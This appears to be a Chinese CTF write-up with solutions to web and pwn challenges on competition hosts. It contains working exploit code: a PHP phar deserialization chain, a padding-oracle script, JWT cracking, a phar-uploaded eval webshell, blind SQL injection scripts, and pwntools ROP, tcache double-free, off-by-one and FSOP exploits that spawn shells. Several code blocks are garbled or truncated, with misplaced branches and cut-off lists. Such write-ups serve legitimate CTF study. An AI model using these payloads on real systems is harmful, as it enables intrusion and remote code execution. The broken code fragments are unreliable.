

web

web-day1

## web1

## EXP

利用User的\_\_destruct的close()调用File的close()

```
<?php
    class File{
        public $filename = "/flag.txt";
    }
    class User {
        public $db;
    }
    class FileList {
        public $files;
    }
    $o = new User();
    $o->db =new FileList();
    $o->db->files=array(new File());
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //████████phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //██stub
    $phar->setMetadata($o); //████████meta-data██manifest
    $phar->addFromString("test.txt", "test"); //██████████
    //████████
    $phar->stopBuffering();

?>
```

上传文件后删除抓包，即可得到flag

## web2

1. 薅羊毛与逻辑漏洞
2. cookie伪造

## python反序列化

首先批量注册筹款。

根据提示找到lv6的商品。

```
import requests
for i in range(2000):
    a = requests.get('http://172.1.2.2/info/{}'.format(str(i)))
    if 'lv6.png' in a.content:
        print i
```

3. 抓包修改折扣的参数，让我们买得起，购买成功从而获得后台路径。[http://172.1.2.2/b1g\\_m4mber](http://172.1.2.2/b1g_m4mber)

提示修改cookie，是个jwt，爆破一下，key是1Kun，篡改username为admin。

获得反序列化的机会。在源码中读到这个。

```

41
42 <div class="ui text container login-wrap-inf">
43 <!-- 潜伏敌后已久,只能帮到这了 -->
44 <a href="/static/asd1f654e683wq/www.zip" ><span style="visibility:hidden">删库跑路前我留了好东西在这里</span></a>
45 <div class="ui segments center paddddd">
46 <!-- 对抗*站黑科技,目前为测试阶段,只对管理员开放 -->
47 <div class="ui segment">
48 
49

```

下载源码，找到反序列的地方。

```

import tornado.web
from shoop.base import BaseHandler
import pickle
import urllib

class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

```

反序列化读文件。

The screenshot shows a web browser interface with a 'Request' tab on the left and a 'Response' tab on the right. The 'Request' tab displays a POST request to /b1g\_m4mber HTTP/1.1. The body of the request contains a pickle object that has been decoded into a dictionary with keys like 'username' and 'password'. The 'Response' tab displays an HTML page with a login form and a message about a hidden feature.

web3

获得的源码和实际服务器上代码完全不同。  
有git泄露，但是没用。

在robots.txt找到备份  
<http://172.1.2.5/backup.zip>

```

# -*- coding: utf-8 -*-

import sys
import string
import base64
import requests

def str_xor(a, b):
    return ''.join([chr(ord(i) ^ ord(j)) for i, j in zip(a, b)])

```

```

#base_url = "http://172.2.100.103:23232/login.php"
base_url = "http://172.1.2.5/login.php"
cookies = {
    'token': '',
    'PHPSESSID': '4cc5fdroq2lcaeiflsjm3d9ueu'
}

tmp_iv = '0' * 16
tmp_ivs = list(tmp_iv)

value = []

# ■■■■■value■■■■■
for flag in range(1, 16):
    for i in range(256):
        # brute
        tmp_ivs[15-len(value)] = chr(i)
        cookies['token'] = base64.b64encode('').join(tmp_ivs))
        resp = requests.get(base_url, cookies=cookies)
        if 'Error' not in resp.content:
            value.append(flag ^ i)
            # ■■■■■■
            tmp_iv = '0' * (16-len(value)) + ''.join(chr(value[i] ^ (flag+1))
                                                         for i in range(len(value)-1, -1, -1))

            tmp_ivs = list(tmp_iv)
            #print resp.content
            print flag, i, value
            break
    if i == 255:
        print resp.content
        print 'error'
        break

# ■■
value.reverse()
print value
value_ = ''.join(chr(v) for v in value)
fake_id = 'onepiece' + chr(8) * 8

len_ = 0

for i in range(256):
    # ■■value ■■■■■
    token = chr(i) + value_
    iv = str_xor(token, fake_id)
    cookies['token'] = base64.b64encode(iv)
    # print cookies['token']
    resp = requests.get(base_url, cookies=cookies)

    if len_ != len(resp.content):
        print i
        print cookies
        print resp.content

    len_ = len(resp.content)

```

padding-oracle，代码中说把明文改成admin，结果hint说改成onepiece，汗改对以后，admin.php还不给flag，和主办方说了才修复了环境。

#### web4

1. 扫描得 hint.php
2. index.php 返回头带有 uploadupload.php
3. 通过 hint.php 伪协议可得全部代码

新建文件夹i,内含一t.php  
t.php 内容

```

<?php
$in=file_get_contents("php://input");

```

```
var_dump(eval($in));
?>
```

5. 通过 uploadupload.php 上传修改后缀为 jpg 的 phar
6. hint.php?name=phar://file/ce5193a069bea027a60e06c57a106eb6.jpg/i/t , 得到 webshell
7. 菜刀连上获得 /flag.txt

## web5

sqlmap随便找个地方一把梭，好像是手机号可以注入。  
然后select load\_file('/flag.txt');

还有首页有一个文件包含，可以直接读取flag。

## web-day2

### web1

sql注入，用elf(bool,sleep(5))可以时间盲注，用\t绕过空格的校验。

```
import requests
import time
url = "http://172.1.2.1/index.php"
flag = ''
while True:
    for i in range(128):
        ss = time.time()
        data = {
            'id': ''ELT(left((select flag from ctf),{})='{}{}',SLEEP(1))'''.format(len(flag)+1,flag, chr(i))
        }
        #print data
        requests.post(url,data=data)
        if time.time()-ss>=0.5:
            flag += chr(i)
            print flag
            break
```

### EXP2

```
import requests
import string
dic = string.digits + string.letters + "!@$$%^&*()_+{}-="

url = "http://172.1.15.1/index.php"

data = {
    "id":""
}
l = 1
flag = ""
while(True):
    for i in range(256):
        # print i
        data['id'] = "IF(substr((select flag from ctf),{},1)='{',1,2)".format(l,chr(i))
        data['id'] = data['id'].replace(" ", "\n")
        resp = requests.post(url,data=data)
        # print(resp.content)
        if "first" in resp.content:
            flag += chr(i)
            print flag
            break
    l+=1
```

### web2

1. 访问 <http://172.1.2.2/?src> 得到源码
2. 审计源码，添加了\$\_POST 绕过 \$\_REQUEST
3. url 转义 绕过 QUERY\_STRING 匹配，数组绕过 md5
4. flag 参数用 data://text/plain;security 绕过

```

5. curl -X POST \
'http://172.1.2.2/index.php?cyber%5B%5D=123&ciscn=ciscnsec%0A&flag=data%3A%2F%2Ftext%2Fplain%2Csecurity' \
-H 'cache-control: no-cache' \
-H 'content-type: application/x-www-form-urlencoded' \
-H 'postman-token: 2422f808-0e28-ea5f-7613-a84c06e1a641' \
-d 'flag=1&cyber=1&ciscn=1'
【注意url编码绕过】
# pwn
## pwn-day1
### pwn1
直接栈溢出加ROP，劫持栈到bss段上，ROP调用system getsHELL
```python
from pwn import *

p = None
r = lambda x:p.recv(x)
rl = lambda:p.recvline
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sla = lambda x,y:p.sendlineafter(x,y)
sa = lambda x,y:p.sendafter(x,y)
rn = lambda x:p.recvn(x)

def pwn():
    global p
    BIN_PATH = './guess'
    DEBUG = 0
    ATTACH = 0
    context.arch = 'amd64'
    if DEBUG == 1:
        p = process(BIN_PATH)
    elf = ELF(BIN_PATH)
    context.log_level = 'debug'
    context.terminal = ['tmux', 'split', '-h']
    if context.arch == 'amd64':
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    else:
        libc = ELF('/lib/i386-linux-gnu/libc.so.6')

    else:
        p = remote('172.1.2.6',8888)
        # libc = ELF('./libc_32.so.6')
        context.log_level = 'debug'
    # 0x555555554000
    if ATTACH==1:
        gdb.attach(p, '''
            b *0x4006a2
            b *0x4006DA
            set follow-fork-mode parent
            ''')
    ru(' number.')
    # sl('a'*(0x30-0x4)+p64(0x41348000)+'a'*0x100)
    target = 0x601100+0x400
    p_rdi_r = 0x0000000000400793
    p_rsi_r15_r = 0x0000000000400791
    leave_r = 0x4006DA
    gets_plt = 0x400550
    system_plt = 0x400530
    # system_plt = 0x4006C8
    payload = 'a'*(0x30-0x4)+p32(0x41348000)+p64(target)+p64(p_rdi_r)+p64(target)+p64(gets_plt)
    # payload = 'a'*(0x30-0x4)+p32(0xdeadbeef)+p64(target)+p64(p_rdi_r)+p64(target)+p64(gets_plt)
    payload += p64(leave_r)
    sl(payload)
    raw_input('ssss')

payload = p64(0xdeadbeef)+p64(p_rdi_r)+p64(target+0x50)+p64(p_rsi_r15_r)+p64(0)*2+p64(system_plt)
payload = payload.ljust(0x50,'\x00')
payload += '/bin/sh\x00'

```

```
sl(payload)
p.interactive()
```

```

■■■■■■■■■■rwx■■■■■■■■■■shellcode■■■■■■■■■■ROP■■■■■■■■■■gets■■rwx■■■■■■■■■■shellcode■■■■■■■■■■shellcode■■■■■■■■■■getshell
```python
from pwn import *

```

```
p = None
r = lambda x:p.recv(x)
r1 = lambda:p.recvline
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
s1 = lambda x:p.sendline(x)
sla = lambda x,y:p.sendlineafter(x,y)
sa = lambda x,y:p.sendafter(x,y)
rn = lambda x:p.recvn(x)
```

```
def pwn():
    global p
    BIN_PATH = './pwn'
    DEBUG = 0
    ATTACH = 0
    context.arch = 'amd64'
    if DEBUG == 1:
        p = process(BIN_PATH)
        elf = ELF(BIN_PATH)
        context.log_level = 'debug'
        context.terminal = ['tmux', 'split', '-h']
        if context.arch == 'amd64':
            libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        else:
            libc = ELF('/lib/i386-linux-gnu/libc.so.6')

    else:
        p = remote('172.1.2.8',8888)
        # libc = ELF('./libc_32.so.6')
        context.log_level = 'debug'
    # 0x555555554000
    if ATTACH==1:
        gdb.attach(p, '''
            b *0x4006A4
            ''')

    p_rdi_r = 0x000000000400713
    p_rsi_r15 = 0x000000000400711
    gets_plt = 0x400510
    target = 0x601080
    payload = 'aaaa'
    info(hex(len(payload)))
    sla('name',payload)
    payload = '\x00'*0x20+p64(0xdeadbeef)+p64(p_rdi_r)+p64(target)+p64(gets_plt)+p64(target)
    sla('to me?',payload)
    raw_input('sss')
    sl(asm(shellcraft.sh()))
    p.interactive()

if __name__ == '__main__':
    pwn()
```

pwn2

这题给的libc为2.29, 有tcache, 但是该版本的libc对tcache进行了double free的检测。(具体怎么检测的感兴趣的可以看下源码)。程序在delete的时候只是将标志字段设置为0, 并没有将指针清零, 而程序在delete和addMoney中, 没有对flag标志进行检查。这样就可以修改已在tcache中的chunk的key了, 然后改bss上的指针就可以了。

```

from pwn import *
context(arch = 'amd64', os = 'linux', endian = 'little')

context.log_level = 'debug'

def create(name, age):
    p.recvuntil('Your choice: ')
    p.sendline('1')
    p.recvuntil('name:')
    p.send(name)
    p.recvuntil('age:')
    p.send(str(age))

def delete(idx):
    p.recvuntil('Your choice: ')
    p.sendline('2')
    p.recvuntil('Index:')
    p.send(str(idx))

def edit(idx, name, age):
    p.recvuntil('Your choice: ')
    p.sendline('3')
    p.recvuntil('Index:')
    p.send(str(idx))
    p.recvuntil('name:')
    p.send(name)
    p.recvuntil('age:')
    p.send(str(age))

def show(idx):
    p.recvuntil('Your choice: ')
    p.sendline('4')
    p.recvuntil('Index:')
    p.send(str(idx))

def add(idx):
    p.recvuntil('Your choice: ')
    p.sendline('5')
    p.recvuntil('Index:')
    p.send(str(idx))

def buy(idx, addr, l):
    p.recvuntil('Your choice: ')
    p.sendline('6')
    p.recvuntil('Index:')
    p.send(str(idx))
    p.recvuntil('leak:')
    p.sendline(str(addr))
    p.recvuntil('leak:')
    p.sendline(str(l))

def GameStart(ip, port, debug):
    global p
    if debug == 1:
        p = process('./pwn')
    else:
        p = remote(ip, port)

    libc = ELF("./libc.so")
    create('emmm', 10)
    delete(0)
    add(0)
    delete(0)
    create(p64(0x602060), 10)
    create(p64(0x601FA8), 10)
    create(p64(0x601F88), 10)
    add(2)
    show(0)

```

```

p.recvuntil('name: ')
libc.address = u64(p.recv(6) + '\x00' * 2) - libc.symbols['free']
log.info('libc addr is : ' + hex(libc.address))

edit(2, p64(libc.symbols['__free_hook']), next(libc.search('/bin/sh')))
edit(0, p64(libc.symbols['system']), 10)
delete(1)

p.interactive()

if __name__ == '__main__':
    GameStart('172.1.2.7', 8888, 0)

```

## pwn3

在创建Text类型的Note的时候，如果type不对或是size过大，程序会return，但是结构体中的两个函数指针已经被赋值为Int类型的函数指针了，而type的值还是之前保留下来的，所以我们需要通过p.plt@system来修改Note结构体中的函数指针为p.plt@system，删除对应的Note即可getshell。

```

from pwn import *

p = None
r = lambda x:p.recv(x)
rl = lambda:p.recvline
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sla = lambda x,y:p.sendlineafter(x,y)
sa = lambda x,y:p.sendafter(x,y)
rn = lambda x:p.recvn(x)

def add(idx,typ,value,size=0):
    sla('CNote > ',str(1))
    sla('Index > ',str(idx))
    sla('Type > ',str(typ))
    if typ==1:
        sla('Value > ',str(value))
    else:
        sla('Length > ',str(size))
        if size<=0x400:
            sa('Value > ',value)
def delete(idx):
    sla('CNote > ',str(2))
    sla('Index > ',str(idx))

def show(idx):
    sla('CNote > ',str(3))
    sla('Index > ',str(idx))

def pwn():
    global p
    BIN_PATH = './torchwood'
    DEBUG = 0
    ATTACH = 0
    context.arch = 'i386'
    if DEBUG == 1:
        p = process(BIN_PATH)
        elf = ELF(BIN_PATH)
        context.log_level = 'debug'
        context.terminal = ['tmux', 'split', '-h']
        if context.arch == 'amd64':
            libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        else:
            libc = ELF('/lib/i386-linux-gnu/libc.so.6')

    else:
        p = remote('172.1.2.9',8888)
        # libc = ELF('./libc_32.so.6')
        context.log_level = 'debug'

```



```

# 0x555555554000
# if ATTACH==1:
#     gdb.attach(p, '''
#         b *0x08048AC1
#         '''
#     add(idx,typ,value,size=0)
#     leak heap addr
add(0,2,'aaaa\n',0x38)
add(1,1,0x1234)
delete(0)
add(2,2,'aaaa\n',0x500)
show(2)
ru('Value=')
heap_addr = int(ru(''))[:-1]
log.info('heap addr: '+hex(heap_addr))
heap_base = heap_addr-0x18
log.info('heap base: '+hex(heap_base))
add(3,2,'e3pem\n',0x38)

# double free
payload = 'a'*0x28+p32(0)+p32(0x41)+'\n'
add(4,2,payload,0x38)
add(5,2,'aaaa\n',0x38)
add(6,1,0x1234)
delete(4)
delete(5)
delete(4)

payload=p32(heap_base+0xb0)+'\n'
add(7,2,payload,0x38)
add(8,2,'/bin/sh\x00\n',0x38)
add(9,2,'aaaa\n',0x38)
delete(1)

if ATTACH==1:
    gdb.attach(p, '''
        b *0x08048AC1
        b *0x0804895A
        '''
    payload = '\x00'*8+p32(0)+p32(0x11)+'sh\x00\x00'+p32(0x8048500)+p32(heap_base+0xd8)+'\x41'+'\n'
    add(10,2,payload,0x38)

delete(8)

# add(0,1,0x1234)
# payload = 'e3pem\n'
# add(2,2,payload,0xa0)
p.interactive()

if __name__ == '__main__':
    pwn()

```

## pwn4

libc 2.23的off-by-one，程序没有开PIE。可以很方便的构造堆块重叠，进而可以改在堆中的结构体，造成任意地址写（改got表、\_IO\_list\_all等都可以）。

```

from pwn import *
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'

```

```

def build(size, data):
    p.recvuntil('Your choice :')
    p.sendline('1')
    p.recvuntil(' nest ?')
    p.sendline(str(size))
    p.recvuntil('the nest?')
    p.send(data)

```

```

def offbyone(idx, data):
    p.recvuntil('Your choice :')
    p.sendline('2')
    p.recvuntil('Index :')
    p.sendline(str(idx))
    p.recvuntil('the nest?')
    p.send(data)

def show(idx):
    p.recvuntil('Your choice :')
    p.sendline('3')
    p.recvuntil('Index :')
    p.sendline(str(idx))

def delete(idx):
    p.recvuntil('Your choice :')
    p.sendline('4')
    p.recvuntil('Index :')
    p.sendline(str(idx))

def VTCBypassOneGadget(vtable_addr, one_gadget_addr, io_list_all_addr):
    exp = p64(0) + p64(0x61) + p64(0) + p64(io_list_all_addr - 0x10)
    exp += p64(0) + p64(1) + p64(0) + p64(0) + p64(0) + p64(0) * 6 + p64(0) + p64(0) * 4
    exp += p64(0) + p64(2) + p64(3) + p64(0) + p64(0xffffffffffffffff) + p64(0) * 2 + p64(vtable_addr - 0x18) + p64(one_gadget_addr)
    return exp

def GameStart(ip, port, debug):
    global p
    if debug == 1:
        p = process('./wood', env = {'LD_PRELOAD' : './libc.so.6'})
    else:
        p = remote(ip, port)

    libc = ELF('./libc.so.6')

    build(0x10, 'emmmmm')
    build(0x10, 'emmmmm')
    delete(0)
    delete(1)

    build(0x28, 'emmmmm')
    build(0xf0, 'emmmmm')
    build(0xe0, 'emmmmm')
    offbyone(0, '\x00' * 0x28 + '\xf1')
    delete(1)
    build(0x300, '\x00' * 0xf0 + p64(0) + p64(0xf1) + '\x00' * 0xe0 + p64(0) + p64(0x21) + '\x00' * 0x10 + p64(0) + p64(0x21))
    delete(2)
    build(0xe0, 'a' * 8)
    show(2)
    p.recvuntil('aaaaaaaa')
    libc.address = u64(p.recv(6) + '\x00' * 2) - libc.symbols['__malloc_hook'] - 0x10 - 0x58
    log.info('libc addr is : ' + hex(libc.address))
    delete(2)
    one_gadget = 0x45216
    one_gadget = 0x4526a
    # one_gadget = 0xf02a4
    # one_gadget = 0xf02b0
    # one_gadget = 0xf1147

    offbyone(1, '\x00' * 0xf0 + VTCBypassOneGadget(libc.address + 0x3C33F8, libc.address + one_gadget, libc.symbols['_IO_list_all']))
    # gdb.attach(p)

    p.recvuntil('Your choice :')
    p.sendline('1')
    p.recvuntil(' nest ?')
    p.sendline(str(0x100))

    p.interactive()

```



```
sla('contents:\n',payload)
ru('Over.')
```

sla('-> \n',str(4))

```
p.interactive()
```

```
if __name__ == '__main__':
    pwn()
```

### pwn3

是一个逆向题目，输入24个字符，类似自动机一样处理数据。运算完之后和结果比对，若对于每个字符a， $\text{abs}(a-\text{target})\leq 1$ ，就给你shell。

ida里可以提取十六进制，然后把他写个脚本转换为 long double型的数。

```
# coding:utf-8
from pwn import *

con = remote("172.1.2.5",8888)
con.recvuntil('Input something')

target = [224.000000,60.000000,196.000000,119.000000,127.000000,179.000000,1.000000,77.000000,173.000000,109.000000,29.000000,
# ■■■
v11 = [0x1,0x10,0x25,0x3,0x0D,0x0A,0x2,0x0B,0x28,0x2,0x14,0x3F,0x1,0x17,0x3C,0x1,0x0,0x69,0x1,0x12,0x3F,0x2,0x0E,0x77,0x3,0x15,
# ■■■■■
for i in range(0,232,3):
    # ■■
    op_ = v11[i+2]
    index_ = v11[i+1]
    num_ = v11[i]

    if op_ == 2:
        target[index_] += num_
    if op_ == 3:
        target[index_] /= num_
    if op_ == 4:
        target[index_] *= num_
    if op_ == 1:
        target[index_] -= num_

result = ''
for op in target:
    result += chr(int(op))
con.sendline(result)
con.interactive()
```

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